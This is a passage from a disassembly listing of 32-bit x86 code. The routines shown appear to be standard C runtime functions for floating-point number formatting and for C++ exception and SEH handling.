		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_41C8BA:				; CODE XREF: sub_41C86F+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41C8BA
		pop	esi
		retn
sub_41C86F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_419E38+3E2p
					; DATA XREF: sub_417D8B+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_4397B0
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C8E5


loc_41C8D9:				; CODE XREF: sub_41C8C9+1Aj
		cmp	cl, dl
		jz	short loc_41C8E5
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_41C8D9


loc_41C8E5:				; CODE XREF: sub_41C8C9+Ej
					; sub_41C8C9+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41C916


loc_41C8EC:				; CODE XREF: sub_41C8C9+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C8FF
		cmp	cl, 65h
		jz	short loc_41C8FF
		cmp	cl, 45h
		jz	short loc_41C8FF
		inc	eax
		jmp	short loc_41C8EC
; ---------------------------------------------------------------------------


loc_41C8FF:				; CODE XREF: sub_41C8C9+27j
					; sub_41C8C9+2Cj ...
		mov	ecx, eax


loc_41C901:				; CODE XREF: sub_41C8C9+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41C901
		cmp	[eax], dl
		jnz	short loc_41C90C
		dec	eax


loc_41C90C:				; CODE XREF: sub_41C8C9+40j
					; sub_41C8C9+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_41C90C

locret_41C916:				; CODE XREF: sub_41C8C9+21j
		retn
sub_41C8C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C917	proc near		; DATA XREF: sub_417D8B+28o
					; ___:off_43B910o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jb	short loc_41C92C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41C92C:				; CODE XREF: sub_41C917+Fj
		xor	eax, eax
		retn
sub_41C917	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C92F	proc near		; CODE XREF: sub_41D797+430p
					; DATA XREF: sub_417D8B+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41C958
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_42067A
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C958:				; CODE XREF: sub_41C92F+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4206A7
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_41C92F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C96D	proc near		; CODE XREF: sub_41CBEA+17p
					; sub_41CC34+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_48A084, 0
		push	ebx
		push	esi
		jz	short loc_41C9A2
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_48A080
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41CC85
		pop	ecx
		pop	ecx
		jmp	short loc_41C9DA
; ---------------------------------------------------------------------------


loc_41C9A2:				; CODE XREF: sub_41C96D+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_42074B
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_4206D4
		add	esp, 14h


loc_41C9DA:				; CODE XREF: sub_41C96D+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41C9E6
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_41C9E6:				; CODE XREF: sub_41C96D+73j
		test	ebx, ebx
		jle	short loc_41C9FE
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_4397B0
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_41C9FE:				; CODE XREF: sub_41C96D+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_48A084, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_4179C0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41CA25
		mov	byte ptr [ecx],	45h


loc_41CA25:				; CODE XREF: sub_41C96D+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41CA6A
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41CA39
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_41CA39:				; CODE XREF: sub_41C96D+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41CA50
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41CA50:				; CODE XREF: sub_41C96D+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41CA67
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41CA67:				; CODE XREF: sub_41C96D+E7j
		add	[ecx+1], bl


loc_41CA6A:				; CODE XREF: sub_41C96D+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C96D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA71	proc near		; CODE XREF: sub_41CC11+13p
					; sub_41CC34+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_48A084, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41CAAC
		mov	eax, dword_48A088
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_48A080
		cmp	eax, ebx
		jnz	short loc_41CADC
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41CADC
; ---------------------------------------------------------------------------


loc_41CAAC:				; CODE XREF: sub_41CA71+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_42074B
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_4206D4
		add	esp, 14h


loc_41CADC:				; CODE XREF: sub_41CA71+22j
					; sub_41CA71+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41CAEA
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_41CAEA:				; CODE XREF: sub_41CA71+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41CB01
		push	1
		push	edi
		call	sub_41CC85
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41CB03
; ---------------------------------------------------------------------------


loc_41CB01:				; CODE XREF: sub_41CA71+7Ej
		add	edi, eax


loc_41CB03:				; CODE XREF: sub_41CA71+8Ej
		test	ebx, ebx
		jle	short loc_41CB48
		push	1
		push	edi
		call	sub_41CC85
		mov	al, byte_4397B0
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41CB48
		cmp	byte_48A084, 0
		jz	short loc_41CB2D
		neg	esi
		jmp	short loc_41CB33
; ---------------------------------------------------------------------------


loc_41CB2D:				; CODE XREF: sub_41CA71+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41CB35


loc_41CB33:				; CODE XREF: sub_41CA71+BAj
		mov	ebx, esi


loc_41CB35:				; CODE XREF: sub_41CA71+C0j
		push	ebx
		push	edi
		call	sub_41CC85
		push	ebx
		push	30h
		push	edi
		call	sub_417330
		add	esp, 14h


loc_41CB48:				; CODE XREF: sub_41CA71+94j
					; sub_41CA71+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41CA71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB4F	proc near		; CODE XREF: sub_41CC34+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_42074B
		mov	dword_48A080, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_48A088, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_4206D4
		mov	eax, dword_48A080
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_48A088, ecx
		setl	cl
		mov	byte_48A08C, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_48A088, eax
		jl	short loc_41CBD5
		cmp	eax, ebx
		jge	short loc_41CBD5
		test	cl, cl
		jz	short loc_41CBC6


loc_41CBBC:				; CODE XREF: sub_41CB4F+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41CBBC
		and	[esi-2], al


loc_41CBC6:				; CODE XREF: sub_41CB4F+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41CC11
		add	esp, 0Ch
		jmp	short loc_41CBE5
; ---------------------------------------------------------------------------


loc_41CBD5:				; CODE XREF: sub_41CB4F+63j
					; sub_41CB4F+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41CBEA
		add	esp, 10h


loc_41CBE5:				; CODE XREF: sub_41CB4F+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBEA	proc near		; CODE XREF: sub_41CB4F+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_48A084, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C96D
		and	byte_48A084, 0
		add	esp, 10h
		retn
sub_41CBEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC11	proc near		; CODE XREF: sub_41CB4F+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_48A084, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41CA71
		and	byte_48A084, 0
		add	esp, 0Ch
		retn
sub_41CC11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC34	proc near		; CODE XREF: sub_419E38+3AAp
					; DATA XREF: sub_417D8Bo ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41CC6F
		cmp	[ebp+arg_8], 45h
		jz	short loc_41CC6F
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41CC5C
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CA71
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41CC5C:				; CODE XREF: sub_41CC34+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CB4F
		jmp	short loc_41CC80
; ---------------------------------------------------------------------------


loc_41CC6F:				; CODE XREF: sub_41CC34+7j
					; sub_41CC34+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C96D


loc_41CC80:				; CODE XREF: sub_41CC34+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41CC34	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC85	proc near		; CODE XREF: sub_41C96D+2Cp
					; sub_41CA71+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41CCA8
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_4182C0
		add	esp, 10h
		pop	esi


loc_41CCA8:				; CODE XREF: sub_41CC85+7j
		pop	edi
		retn
sub_41CC85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCAA	proc near		; CODE XREF: ___:00417F6Cp
					; sub_417FD5+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41CCC0
		call	sub_41D552


loc_41CCC0:				; CODE XREF: sub_41CCAA+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41CCE8
		cmp	dword ptr [esi+4], 0
		jz	short loc_41CD3E
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CD3E
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41CFF1
		add	esp, 10h
		jmp	short loc_41CD3E
; ---------------------------------------------------------------------------


loc_41CCE8:				; CODE XREF: sub_41CCAA+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41CD3E
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41CD22
		cmp	[eax+14h], edi
		jbe	short loc_41CD22
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41CD22
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41CD41
; ---------------------------------------------------------------------------


loc_41CD22:				; CODE XREF: sub_41CCAA+4Aj
					; sub_41CCAA+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41CD45
		add	esp, 20h


loc_41CD3E:				; CODE XREF: sub_41CCAA+23j
					; sub_41CCAA+29j ...
		push	1
		pop	eax


loc_41CD41:				; CODE XREF: sub_41CCAA+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41CCAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD45	proc near		; CODE XREF: sub_41CCAA+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41CD65
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41CD6A


loc_41CD65:				; CODE XREF: sub_41CD45+16j
		call	sub_41D552


loc_41CD6A:				; CODE XREF: sub_41CD45+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CDDE
		cmp	[esi+14h], edi
		jnz	short loc_41CDDE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CDDE
		mov	esi, dword_48A090
		test	esi, esi
		jz	loc_41CEBC
		mov	eax, dword_48A094
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_4208D2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CDC0
		call	sub_41D552


loc_41CDC0:				; CODE XREF: sub_41CD45+74j
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CDDE
		cmp	[esi+14h], edi
		jnz	short loc_41CDDE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CDDE
		call	sub_41D552


loc_41CDDE:				; CODE XREF: sub_41CD45+41j
					; sub_41CD45+46j ...
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41CEC1
		cmp	[esi+14h], edi
		jnz	loc_41CEC1
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418123
		add	esp, 14h
		mov	ebx, eax


loc_41CE15:				; CODE XREF: sub_41CD45+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41CEAC
		cmp	[ebx], edi
		jg	short loc_41CEA1
		cmp	edi, [ebx+4]
		jg	short loc_41CEA1
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41CE9E


loc_41CE3A:				; CODE XREF: sub_41CD45+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41CE6B


loc_41CE4C:				; CODE XREF: sub_41CD45+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41CF94
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41CE7A
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41CE4C


loc_41CE6B:				; CODE XREF: sub_41CD45+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41CE3A
		jmp	short loc_41CE9E
; ---------------------------------------------------------------------------


loc_41CE7A:				; CODE XREF: sub_41CD45+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41D0A5
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_41CE9E:				; CODE XREF: sub_41CD45+F3j
					; sub_41CD45+133j
		mov	edi, [ebp+var_10]


loc_41CEA1:				; CODE XREF: sub_41CD45+DEj
					; sub_41CD45+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41CE15
; ---------------------------------------------------------------------------


loc_41CEAC:				; CODE XREF: sub_41CD45+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41CEBC
		push	1
		push	esi
		call	sub_41D41A
		pop	ecx
		pop	ecx


loc_41CEBC:				; CODE XREF: sub_41CD45+56j
					; sub_41CD45+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41CEC1:				; CODE XREF: sub_41CD45+37j
					; sub_41CD45+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CEE7
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41CEEC
		add	esp, 20h
		jmp	short loc_41CEBC
; ---------------------------------------------------------------------------


loc_41CEE7:				; CODE XREF: sub_41CD45+180j
		jmp	sub_41D4FC
sub_41CD45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEEC	proc near		; CODE XREF: sub_41CD45+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_48A098, 0
		push	esi
		push	edi
		jz	short loc_41CF1D
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417FFA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41CF90


loc_41CF1D:				; CODE XREF: sub_41CEEC+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418123
		add	esp, 14h
		mov	esi, eax


loc_41CF39:				; CODE XREF: sub_41CEEC+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41CF90
		cmp	edi, [esi]
		jl	short loc_41CF88
		cmp	edi, [esi+4]
		jg	short loc_41CF88
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41CF62
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41CF88


loc_41CF62:				; CODE XREF: sub_41CEEC+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D0A5
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_41CF88:				; CODE XREF: sub_41CEEC+57j
					; sub_41CEEC+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41CF39
; ---------------------------------------------------------------------------


loc_41CF90:				; CODE XREF: sub_41CEEC+2Fj
					; sub_41CEEC+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41CEEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CF94	proc near		; CODE XREF: sub_41CD45+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41CFEB
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41CFEB
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41CFC5
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CFE7


loc_41CFC5:				; CODE XREF: sub_41CF94+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41CFCF
		test	byte ptr [edi],	8
		jz	short loc_41CFE7


loc_41CFCF:				; CODE XREF: sub_41CF94+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41CFDE
		test	byte ptr [edi],	1
		jz	short loc_41CFE7


loc_41CFDE:				; CODE XREF: sub_41CF94+43j
		test	al, 2
		jz	short loc_41CFEB
		test	byte ptr [edi],	2
		jnz	short loc_41CFEB


loc_41CFE7:				; CODE XREF: sub_41CF94+2Fj
					; sub_41CF94+39j ...
		xor	eax, eax
		jmp	short loc_41CFEE
; ---------------------------------------------------------------------------


loc_41CFEB:				; CODE XREF: sub_41CF94+Bj
					; sub_41CF94+14j ...
		push	1
		pop	eax


loc_41CFEE:				; CODE XREF: sub_41CF94+55j
		pop	edi
		pop	esi
		retn
sub_41CF94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CFF1	proc near		; CODE XREF: sub_41CCAA+34p
					; ___:0041D0E7p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424860
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_41D023:				; CODE XREF: sub_41CFF1+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41D07D
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41D032
		cmp	esi, [edi+4]
		jl	short loc_41D037


loc_41D032:				; CODE XREF: sub_41CFF1+3Aj
		call	sub_41D552


loc_41D037:				; CODE XREF: sub_41CFF1+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41D052
		push	103h
		push	ebx
		push	eax
		call	sub_41D4B0


loc_41D052:				; CODE XREF: sub_41CFF1+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41D072
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41D08F
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_41D072:				; CODE XREF: sub_41CFF1+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41D023
; ---------------------------------------------------------------------------


loc_41D07D:				; CODE XREF: sub_41CFF1+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CFF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D08F	proc near		; CODE XREF: sub_41CFF1+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41D0A0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41D0A0:				; CODE XREF: sub_41D08F+Cj
		jmp	sub_41D4FC
sub_41D08F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D0A5	proc near		; CODE XREF: sub_41CD45+151p
					; sub_41CEEC+94p

arg_0		= dword	ptr  8
